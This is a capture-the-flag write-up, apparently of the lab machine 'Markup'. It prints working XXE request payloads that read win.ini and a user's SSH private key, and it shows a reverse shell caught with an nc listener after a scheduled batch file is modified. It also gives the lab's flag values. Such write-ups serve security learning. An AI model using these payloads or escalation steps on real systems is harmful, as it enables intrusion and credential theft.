We can actually see if modifying our XML can result in some sort of response
Here’s a test that we came up with
POST /process.php HTTP/1.1
Host: 10.129.21.62
Content-Length: 186
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Type: text/xml
Accept: */*
Origin: http://10.129.21.62
Referer: http://10.129.21.62/services.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=nsb438uisp5phambntg53llqbd
Connection: keep-alive
<?xml version = "1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<order><quantity>33</quantity><item>&test;</item><address>butthead street</address></order>
And sure enough, we were able to get something back
HTTP/1.1 200 OK
Date: Wed, 07 Jan 2026 20:59:47 GMT
Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
X-Powered-By: PHP/7.2.28
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 144
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Your order for ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[Ports]
COM1:=9600,n,8,1
has been processed
Also note bringing up is that within the source code for the Orders page, we are actually able to grab out a name of a developer for the app named Daniel
Modified by Daniel : UI-Fix-9092
However, we don’t have any sort of password or anything for him
Since it’s clear that Daniel is able to modify the website in someway, there could possibly be an SSH key or something in use.
Let’s modify our payload to read that out:
POST /process.php HTTP/1.1
Host: 10.129.22.9
Content-Length: 183
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Content-Type: text/xml
Accept: */*
Origin: http://10.129.22.9
Referer: http://10.129.22.9/services.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=hg3l4eu4eu0m4k6rhjjmtlgdb2
Connection: keep-alive
<?xml version = "1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/users/daniel/.ssh/id_rsa'>]>
<order><quantity>3</quantity><item>&test;</item><address>test</address></order>
Now that we have a full private SSH key, we can use that to log into Daniel
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
daniel@MARKUP C:\Users\daniel>
Now that we are logged in as Daniel, we are able to get his user flag out:
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
daniel@MARKUP C:\Users\daniel>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\Users\daniel
10/13/2021 03:43 PM <DIR> .
10/13/2021 03:43 PM <DIR> ..
03/05/2020 05:19 AM <DIR> .ssh
03/05/2020 06:18 AM <DIR> Desktop
04/21/2020 02:34 AM <DIR> Documents
09/14/2018 11:12 PM <DIR> Downloads
09/14/2018 11:12 PM <DIR> Favorites
09/14/2018 11:12 PM <DIR> Links
09/14/2018 11:12 PM <DIR> Music
09/14/2018 11:12 PM <DIR> Pictures
09/14/2018 11:12 PM <DIR> Saved Games
09/14/2018 11:12 PM <DIR> Videos
0 File(s) 0 bytes
12 Dir(s) 7,393,533,952 bytes free
daniel@MARKUP C:\Users\daniel>cd Desktop
daniel@MARKUP C:\Users\daniel\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is BA76-B4E3
Directory of C:\Users\daniel\Desktop
03/05/2020 06:18 AM <DIR> .
03/05/2020 06:18 AM <DIR> ..
03/05/2020 06:18 AM 35 user.txt
1 File(s) 35 bytes
2 Dir(s) 7,393,443,840 bytes free
daniel@MARKUP C:\Users\daniel\Desktop>type user.txt
032d2fc8952a8c24e39c8f0ee9918ef7
We are asked about a file in the Log Management folder, so let’s go ahead and navigate over there
We are given a BAT file named job, and we are able to see what its function is:
daniel@MARKUP C:\Log-Management>type job.bat
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo.
echo Event Logs have been cleared!
goto theEnd
:do_clear
wevtutil.exe cl %1
goto :eof
:noAdmin
echo You must run this script as an Administrator!
:theEnd
exit
It appears to go ahead and clear out the Event Logs for us. However, to run this file, we need to be the Administrator to do so
We can see that this is done using wevtutil.exe, which we can also confirm is running on the system
Something we notice that is that we don’t have access to the Administrator’s stuff, but we do have access to the job.bat itself, so we can make some modifications to that to make it work
We’ll first go ahead and get that file over onto the target box
We now just wait for the job to be re-ran and execute our payload to get dropped into a root shell
└──╼ [★]$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.113] from (UNKNOWN) [10.129.24.245] 49678
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
markup\administrator
C:\Windows\system32>
We are then able to get the root flag we are looking for!
C:\Users\Administrator\Desktop>type root.txt
type root.txt
f574a3e7650cebd8c39784299cb570f8